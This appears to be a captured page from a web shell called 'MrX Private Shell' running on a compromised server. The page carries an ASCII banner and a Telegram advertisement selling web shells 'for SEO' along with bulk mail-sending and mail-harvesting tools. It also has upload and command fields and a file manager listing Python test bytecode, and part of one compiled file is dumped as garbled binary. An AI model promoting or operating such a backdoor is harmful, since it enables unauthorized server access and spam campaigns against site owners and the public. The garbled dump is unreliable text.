__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
o

K��^o�@s8ddlZddlmZmZddlmZGdd�de�ZdS)�N)�SubiTestCase�populate_dir)�configs_in_rootc@s$eZdZdd�Zdd�Zdd�ZdS)�TestConfigsInRootcsP|���gd�}dg}t�dd�||D��|��fdd�|D�t���dS)z<configs_in_root masked=False should not return masked files.)�run/netplan/00base.yaml�lib/netplan/01system.yaml�etc/netplan/99end.yaml�etc/netplan/00base.yamlcS�i|]}|d�qS)z
key: here
���.0�frr�8/usr/share/subiquity/subiquitycore/tests/test_netplan.py�
<dictcomp>�z6TestConfigsInRoot.test_masked_true.<locals>.<dictcomp>c�g|]	}tj��|��qSr��os�path�join�r
�p��my_dirrr�
<listcomp>�z6TestConfigsInRoot.test_masked_true.<locals>.<listcomp>N��tmp_dirr�assertEqualr)�self�unmasked�maskedrrr�test_masked_trues�z"TestConfigsInRoot.test_masked_truecsJ|���gd�}t�dd�|D��|��fdd�|D�t�dd��dS)	z4configs_in_root mask=True should return all configs.)r	rrrcSr
�zsomeyaml: here
rrrrrrrz7TestConfigsInRoot.test_masked_false.<locals>.<dictcomp>crrrrrrrrrz7TestConfigsInRoot.test_masked_false.<locals>.<listcomp>T)r"Nr)r �yamlsrrr�test_masked_falses
�z#TestConfigsInRoot.test_masked_falsecsR|���ddg}ddg}t�dd�||D��|��fdd�|D�t���d	S)
z0configs_in_root should only return *.yaml files.r	rzetc/netplan/ignored.yaml.distzrun/netplan/my.cfgcSr
r$rrrrrr%rz=TestConfigsInRoot.test_only_includes_yaml.<locals>.<dictcomp>crrrrrrrr'rz=TestConfigsInRoot.test_only_includes_yaml.<locals>.<listcomp>Nr)r r%�nonyamlsrrr�test_only_includes_yaml s�z)TestConfigsInRoot.test_only_includes_yamlN)�__name__�
__module__�__qualname__r#r&r(rrrrrs
r)r�subiquitycore.testsrr�subiquitycore.netplanrrrrrr�<module>s

Filemanager

Name Type Size Permission Actions
__init__.cpython-310.pyc File 1.42 KB 0644
mocks.cpython-310.pyc File 953 B 0644
test_lsb_release.cpython-310.pyc File 2.32 KB 0644
test_netplan.cpython-310.pyc File 2.46 KB 0644
test_pubsub.cpython-310.pyc File 1.74 KB 0644
test_utils.cpython-310.pyc File 1.77 KB 0644
test_view.cpython-310.pyc File 2.59 KB 0644
util.cpython-310.pyc File 675 B 0644
Filemanager